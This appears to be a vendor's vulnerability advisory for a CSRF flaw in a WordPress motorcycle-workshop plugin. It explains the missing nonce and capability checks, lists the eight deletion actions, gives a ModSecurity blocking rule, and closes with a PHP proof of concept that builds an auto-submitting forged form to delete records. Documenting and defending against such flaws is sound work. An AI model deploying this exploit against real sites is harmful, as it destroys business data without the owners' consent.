Atomic Edge analysis of CVE-2026-6451 (metadata-based):
The cms-fuer-motorrad-werkstaetten WordPress plugin version 1.0.0 contains a critical Cross-Site Request Forgery vulnerability affecting all eight AJAX deletion handlers. This vulnerability allows unauthenticated attackers to delete plugin data by tricking authenticated users into executing forged requests. The CVSS 4.3 score reflects the network accessibility and low attack complexity balanced by user interaction requirements and limited integrity impact.
Root Cause: The vulnerability stems from missing security controls in the plugin’s AJAX handlers. Atomic Edge research confirms the description’s findings: none of the eight deletion handlers implement WordPress security best practices. Specifically, the handlers lack nonce validation via check_ajax_referer() or wp_verify_nonce(), and they omit capability checks via current_user_can(). This represents a complete failure to implement CSRF protection mechanisms. Without examining source code, Atomic Edge infers the handlers likely register via wp_ajax_{action} hooks without proper validation, making them accessible to any request reaching admin-ajax.php.
Exploitation: Attackers craft malicious web pages containing HTML forms or JavaScript that submit POST requests to /wp-admin/admin-ajax.php. Each vulnerable endpoint uses the action parameter with one of eight values: vehicles_cfmw_d_vehicle, contacts_cfmw_d_contact, suppliers_cfmw_d_supplier, receipts_cfmw_d_receipt, positions_cfmw_d_position, catalogs_cfmw_d_article, stock_cfmw_d_item, or settings_cfmw_d_catalog. The payloads likely include additional parameters like ID numbers to specify which records to delete. When a logged-in administrator visits the malicious page, their browser automatically submits the request with their session cookies, executing the deletion.
Remediation: The plugin must implement proper security controls on all AJAX handlers. Each deletion endpoint requires nonce validation using check_ajax_referer() with a unique nonce action name. The handlers should verify user capabilities with current_user_can() before performing destructive operations. WordPress documentation recommends using wp_create_nonce() when generating AJAX links and check_ajax_referer() when processing requests. The fix should also include input validation and sanitization for any parameters used in database operations.
Impact: Successful exploitation enables attackers to delete critical business data managed by the plugin. Attackers can remove vehicle records, contact information, supplier details, receipts, position data, catalog articles, stock items, and entire supplier catalogs. This causes data loss and operational disruption for motorcycle workshop businesses using the plugin. The vulnerability does not provide direct access to view or modify data, only deletion capabilities. Recovery would require database restoration from backups if available.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6451 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20266451,phase:2,deny,status:403,chain,msg:'CVE-2026-6451 via cms-fuer-motorrad-werkstaetten AJAX CSRF',severity:'CRITICAL',tag:'CVE-2026-6451',tag:'WordPress',tag:'Plugin',tag:'CSRF'"
SecRule ARGS_POST:action "@within vehicles_cfmw_d_vehicle contacts_cfmw_d_contact suppliers_cfmw_d_supplier receipts_cfmw_d_receipt positions_cfmw_d_position catalogs_cfmw_d_article stock_cfmw_d_item settings_cfmw_d_catalog"
"t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6451 - CMS für Motorrad Werkstätten <= 1.0.0 - Cross-Site Request Forgery
<?php
/**
* Proof of Concept for CVE-2026-6451
* This script demonstrates CSRF exploitation against the vulnerable plugin.
* Assumptions based on vulnerability description:
* 1. All eight AJAX actions are accessible via admin-ajax.php
* 2. No nonce validation exists
* 3. No capability checks exist
* 4. Each action likely accepts an ID parameter for deletion
*/
$target_url = "https://vulnerable-site.example.com"; // CHANGE THIS
$action = "vehicles_cfmw_d_vehicle"; // Choose from eight vulnerable actions
$record_id = 1; // Assumed parameter name and value
// Generate malicious HTML page that auto-submits when loaded
$html_payload = <<<HTML
<!DOCTYPE html>
<html>
<head>
<title>Malicious CSRF Page</title>
</head>
<body onload="document.forms[0].submit()">
<h1>Loading...</h1>
<form method="POST" action="{$target_url}/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="{$action}">
<input type="hidden" name="id" value="{$record_id}">
<!-- Additional parameters may be required based on plugin implementation -->
<input type="submit" value="Submit">
</form>
<script>
// Alternative JavaScript implementation
setTimeout(function() {
var form = document.forms[0];
form.submit();
}, 1000);
</script>
</body>
</html>
HTML;
// Save the malicious page to a file
file_put_contents('csrf_exploit.html', $html_payload);
echo "Malicious HTML page generated: csrf_exploit.htmln";
echo "When a logged-in administrator visits this page, it will trigger deletion.n";
// Optional: Direct cURL demonstration (requires valid WordPress cookies)
function test_direct_request($url, $action, $id) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'action' => $action,
'id' => $id
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// In real exploitation, attacker would need victim's cookies
// curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_xxx=...');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return [$http_code, $response];
}
// Uncomment to test direct request (requires authentication cookies)
// list($code, $response) = test_direct_request($target_url, $action, $record_id);
// echo "HTTP Code: $codenResponse: $responsen";
?>
